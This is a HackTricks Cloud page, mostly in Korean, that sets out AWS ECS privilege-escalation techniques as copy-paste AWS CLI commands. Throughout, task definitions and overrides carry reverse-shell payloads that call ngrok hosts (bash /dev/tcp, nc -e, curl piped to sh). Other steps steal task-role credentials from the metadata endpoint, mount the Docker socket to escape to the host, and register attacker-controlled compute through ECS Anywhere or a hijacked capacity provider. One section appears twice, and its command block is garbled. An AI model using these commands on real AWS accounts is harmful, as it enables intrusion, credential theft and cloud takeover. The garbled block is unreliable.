AWS - ECS Privesc
Reading time: 16 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
ECS
ECS에 대한 추가 정보는 다음에서 확인하세요:
iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask
ECS에서 iam:PassRole, ecs:RegisterTaskDefinition 및 ecs:RunTask 권한을 악용하는 공격자는 메타데이터 자격증명을 탈취하는 악성 컨테이너를 포함한 새로운 task definition을 생성하고 이를 실행할 수 있습니다.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
Potential Impact: 다른 ECS role로의 직접적인 privesc.
iam:PassRole,ecs:RunTask
iam:PassRole 및 ecs:RunTask 권한을 가진 공격자는 수정된 execution role, task role 및 컨테이너의 command 값을 사용하여 새로운 ECS task를 시작할 수 있습니다. ecs run-task CLI 명령에는 --overrides 플래그가 있어 task definition을 건드리지 않고도 실행 시점에 executionRoleArn, taskRoleArn 및 컨테이너의 command를 변경할 수 있습니다.
지정된 IAM 역할(taskRoleArn 및 executionRoleArn)은 신뢰 정책에서 ecs-tasks.amazonaws.com이 해당 역할을 assume할 수 있도록 설정되어 있어야 합니다.
또한, 공격자는 다음을 알아야 합니다:
- ECS cluster name
- VPC Subnet
- Security group (security group이 명시되지 않으면 기본 security group이 사용됩니다)
- Task Definition Name and revision
- Name of the Container
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
위 코드 스니펫에서는 attacker가 taskRoleArn 값만 재정의합니다. 다만 공격이 성립하려면 attacker는 명령에 지정된 taskRoleArn과 태스크 정의에 지정된 executionRoleArn에 대해 iam:PassRole 권한을 보유해야 합니다.
attacker가 전달할 수 있는 IAM role이 ECR 이미지 풀과 ECS 태스크 시작에 필요한 권한들(ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer, ecr:BatchGetImage, ecr:GetAuthorizationToken)을 충분히 가지고 있다면, attacker는 ecs run-task 명령에서 executionRoleArn과 taskRoleArn에 동일한 IAM role을 지정할 수 있습니다.
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
Potential Impact: 모든 ECS task role에 대한 직접적인 privesc.
iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask
앞선 예와 마찬가지로 공격자는 ECS에서 iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask 권한을 악용해 메타데이터 자격 증명을 훔치는 악성 컨테이너를 포함한 새 task definition을 생성하고 이를 실행할 수 있습니다.
다만 이 경우, 악성 task definition을 실행할 container instance가 필요합니다.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
Potential Impact: 모든 ECS role에 대한 직접 privesc.
iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)
이전 예제와 마찬가지로, ECS에서 iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService 또는 ecs:CreateService 권한을 악용하는 공격자는 메타데이터 자격 증명을 훔치는 악성 컨테이너를 포함한 새로운 task definition을 생성하고, 최소 1개의 task가 실행되는 새 서비스를 생성하여 이를 실행할 수 있습니다.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
Potential Impact: 어떤 ECS role에 대한 직접적인 privesc.
iam:PassRole, (ecs:UpdateService|ecs:CreateService)
실제로 이러한 권한만으로 overrides를 사용해 임의의 role을 가진 container에서 임의의 명령을 실행할 수 있습니다. 예를 들면:
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
Potential Impact: 모든 ECS 역할에 대한 직접적인 privesc.
ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
이 시나리오는 이전 경우들과 유사하지만 iam:PassRole 권한이 없습니다.
역할이 없는 컨테이너라도 임의로 실행할 수 있다면, 노드로 탈출하기 위해 privileged 컨테이너를 실행하여 EC2 IAM role을 탈취하고 노드에서 실행 중인 다른 ECS 컨테이너들의 역할을 훔칠 수 있습니다.
심지어 타깃으로 삼은 EC2 인스턴스 내부에서 다른 태스크들이 실행되도록 강제로 실행시켜 해당 자격 증명을 훔칠 수도 있습니다 (자세한 내용은 Privesc to node section 참조).
warning
이 공격은 ECS cluster가 EC2를 사용하고 있는 경우에만 가능하며 Fargate에서는 불가능합니다.
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json
printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json
aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2
# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
ecs:ExecuteCommand, ecs:DescribeTasks 권한을 가진 공격자는 실행 중인 컨테이너 내부에서 execute commands를 수행하고 해당 컨테이너에 연결된 IAM role을 exfiltrate할 수 있다 (you need the describe permissions because it's necessary to run aws ecs execute-command).
그러나 이를 위해서는 컨테이너 인스턴스가 기본적으로 동작하고 있지 않은 ExecuteCommand agent를 실행 중이어야 한다.
따라서 공격자는 다음을 시도할 수 있다:
- Try to run a command in every running container
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo " Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done
# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
- 사용자가
ecs:RunTask권한이 있으면,aws ecs run-task --enable-execute-command [...]로 태스크를 실행하세요. - 사용자가
ecs:StartTask권한이 있으면,aws ecs start-task --enable-execute-command [...]로 태스크를 실행하세요. - 사용자가
ecs:CreateService권한이 있으면,aws ecs create-service --enable-execute-command [...]로 서비스를 생성하세요. - 사용자가
ecs:UpdateService권한이 있으면,aws ecs update-service --enable-execute-command [...]로 서비스를 업데이트하세요.
You can find examples of those options in previous ECS privesc sections.
Potential Impact: 컨테이너에 연결된 다른 역할로의 privesc.
ssm:StartSession
ssm privesc page에서 이 권한을 어떻게 악용해 privesc to ECS 할 수 있는지 확인하세요:
iam:PassRole, ec2:RunInstances
ec2 privesc page에서 이 권한들을 어떻게 악용해 privesc to ECS 할 수 있는지 확인하세요:
ecs:RegisterContainerInstance, ecs:DeregisterContainerInstance, ecs:StartTask, iam:PassRole
이 권한들을 가진 공격자는 ECS 클러스터에 EC2 인스턴스를 등록하고 그 위에서 태스크를 실행할 수 있습니다. 이를 통해 공격자는 ECS 태스크 컨텍스트 내에서 임의의 코드를 실행할 수 있습니다.
- TODO: 다른 AWS 계정의 인스턴스를 등록해서 태스크가 공격자가 제어하는 머신에서 실행되도록 하는 것이 가능한가요??
ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets
note
TODO: 테스트 필요
An attacker with the permissions ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, and ecs:DescribeTaskSets can create a malicious task set for an existing ECS service and update the primary task set. This allows the attacker to execute arbitrary code within the service.
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json
aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
Potential Impact: 영향을 받는 서비스에서 임의의 코드를 실행하여 서비스 기능에 영향을 주거나 민감한 데이터를 유출할 수 있음.
References
악성 Capacity Provider를 통한 ECS 스케줄링 탈취 (EC2 ASG takeover)
ECS capacity providers를 관리하고 서비스를 업데이트할 수 있는 권한이 있는 공격자는 자신이 제어하는 EC2 Auto Scaling Group을 생성하고 이를 ECS Capacity Provider로 감싼 뒤 대상 클러스터에 연결하고 피해자 서비스를 이 provider로 마이그레이션할 수 있습니다. 그러면 Tasks는 공격자가 제어하는 EC2 인스턴스에 스케줄링되어 OS 수준에서 컨테이너를 조사하고 task role 자격 증명을 탈취할 수 있게 됩니다.
Commands (us-east-1):
-
사전 요구사항
-
ECS agent가 대상 클러스터에 join하도록 하는 Launch Template 생성
-
Auto Scaling Group 생성
-
ASG로 Capacity Provider 생성
-
Capacity Provider를 클러스터에 연결(선택적으로 기본으로 설정)
-
서비스를 당신의 provider로 마이그레이션
-
Tasks가 공격자 인스턴스에 배치되는지 확인
-
선택 사항: EC2 노드에서 docker exec로 대상 컨테이너에 접속한 뒤 http://169.254.170.2 를 읽어 task role 자격 증명을 확보.
-
정리(클린업)
Potential Impact: 공격자가 제어하는 EC2 노드에 피해자 Tasks가 배치되어 OS 레벨에서 컨테이너 접근 및 task IAM role 자격 증명 탈취가 가능함.
Step-by-step commands (copy/paste)
export AWS_DEFAULT_REGION=us-east-1 CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster # Instance profile for ECS nodes aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || trueVPC=vpc-18e6ac62 SUBNETS=
AMI=ami-0b570770164588ab4 USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo= LT_ID=
ASG_ARN=
CP_NAME=htcp-8797 aws ecs create-capacity-provider --name --auto-scaling-group-provider "autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED" aws ecs put-cluster-capacity-providers --cluster "" --capacity-providers --default-capacity-provider-strategy capacityProvider=,weight=1
SVC=
Task definition must be EC2-compatible (not Fargate-only)
aws ecs update-service --cluster "" --service "" --capacity-provider-strategy capacityProvider=,weight=1 --force-new-deployment
TASK= CI= aws ecs describe-container-instances --cluster "" --container-instances "" --query containerInstances[0].ec2InstanceId --output text
ECS Anywhere EXTERNAL 등록을 통한 클러스터 내 백도어 컴퓨트
ECS Anywhere를 악용해 공격자가 제어하는 호스트를 피해자 ECS 클러스터의 EXTERNAL container instance로 등록하고 권한이 높은 task 및 execution role을 사용해 해당 호스트에서 Tasks를 실행할 수 있습니다. 이는 Tasks가 실행되는 위치(OS 수준)를 공격자가 제어하게 하며, capacity providers나 ASGs를 건드리지 않고도 Tasks와 연결된 볼륨에서 자격 증명/데이터를 탈취할 수 있게 합니다.
-
필요 권한(예시 최소):
-
ecs:CreateCluster (선택적), ecs:RegisterTaskDefinition, ecs:StartTask 또는 ecs:RunTask
-
ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
-
iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (ECS Anywhere 인스턴스 역할 및 task/execution 역할용)
-
logs:CreateLogGroup/Stream, logs:PutLogEvents (awslogs 사용 시)
-
영향: 공격자 호스트에서 선택한 taskRoleArn으로 임의의 컨테이너 실행; 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI에서 task-role 자격 증명 유출; Tasks가 마운트한 볼륨에 접근 가능; capacity providers/ASGs 조작보다 은밀함.
Steps
- 클러스터 생성/확인 (us-east-1)
aws ecs create-cluster --cluster-name ht-ecs-anywhere
- ECS Anywhere 역할 생성 및 SSM 활성화 (on-prem/EXTERNAL 인스턴스용)
aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
- 공격자 호스트를 프로비저닝하고 EXTERNAL로 자동 등록(예: 작은 AL2 EC2를 “on‑prem”로)
user-data.sh
#!/bin/bash
set -euxo pipefail
amazon-linux-extras enable docker || true
yum install -y docker curl jq
systemctl enable --now docker
curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh"
chmod +x /root/ecs-anywhere-install.sh
/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1
AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text)
IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
aws ec2 wait instance-status-ok --instance-ids $IID
- EXTERNAL container instance가 조인되었는지 확인
aws ecs list-container-instances --cluster ht-ecs-anywhere
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
- task/execution roles를 생성하고, EXTERNAL task definition을 등록한 다음 attacker host에서 실행합니다.
# roles
aws iam create-role --role-name ht-ecs-task-exec \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy
aws iam create-role --role-name ht-ecs-task-role \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
# attach any privileges you want to abuse to this task role
# task def (EXTERNAL launch)
cat > td-external.json << 'JSON'
{
"family": "ht-external",
"requiresCompatibilities": [ "EXTERNAL" ],
"networkMode": "bridge",
"memory": "256",
"cpu": "128",
"executionRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-exec",
"taskRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-role",
"containerDefinitions": [
{"name":"steal","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["REL=\$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2\$REL; sleep 600"],
"memory": 128,
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/anywhere","awslogs-stream-prefix":"steal"}}
}
]
}
JSON
aws logs create-log-group --log-group-name /ht/ecs/anywhere || true
aws ecs register-task-definition --cli-input-json file://td-external.json
CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'containerInstanceArns[0]' --output text)
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
--container-instances $CI
- 이 시점부터 tasks를 실행하는 호스트를 제어할 수 있습니다. task 로그(awslogs인 경우)를 읽거나 호스트에서 직접 exec하여 자격증명/데이터를 exfiltrate할 수 있습니다.
명령 예시 (플레이스홀더)
Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
ECS capacity providers를 관리하고 서비스를 업데이트할 수 있는 권한이 있는 공격자는 자신이 제어하는 EC2 Auto Scaling Group을 생성하고 이를 ECS Capacity Provider로 감싼 다음 대상 클러스터에 연결하여 피해자 서비스를 해당 provider로 마이그레이션할 수 있습니다. 그러면 tasks는 공격자가 제어하는 EC2 인스턴스에 스케줄되어 OS-level에서 컨테이너를 검사하고 task role credentials를 탈취할 수 있습니다.
Commands (us-east-1):
-
사전 요구사항
-
ECS agent가 target cluster에 조인하도록 Launch Template 생성
-
Auto Scaling Group 생성
-
ASG로부터 Capacity Provider 생성
-
Capacity Provider를 클러스터에 연결(선택적으로 기본으로 설정)
-
서비스를 당신의 provider로 마이그레이션
-
tasks가 공격자 인스턴스에 배치되는지 확인
-
선택사항: EC2 노드에서 docker exec로 대상 컨테이너에 접속한 후 http://169.254.170.2 를 읽어 task role credentials를 얻으세요.
-
정리
잠재적 영향: 공격자가 제어하는 EC2 노드가 피해자 tasks를 수신하게 되어 컨테이너에 대한 OS-level 접근이 가능해지고 task IAM role credentials가 탈취될 수 있습니다.
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud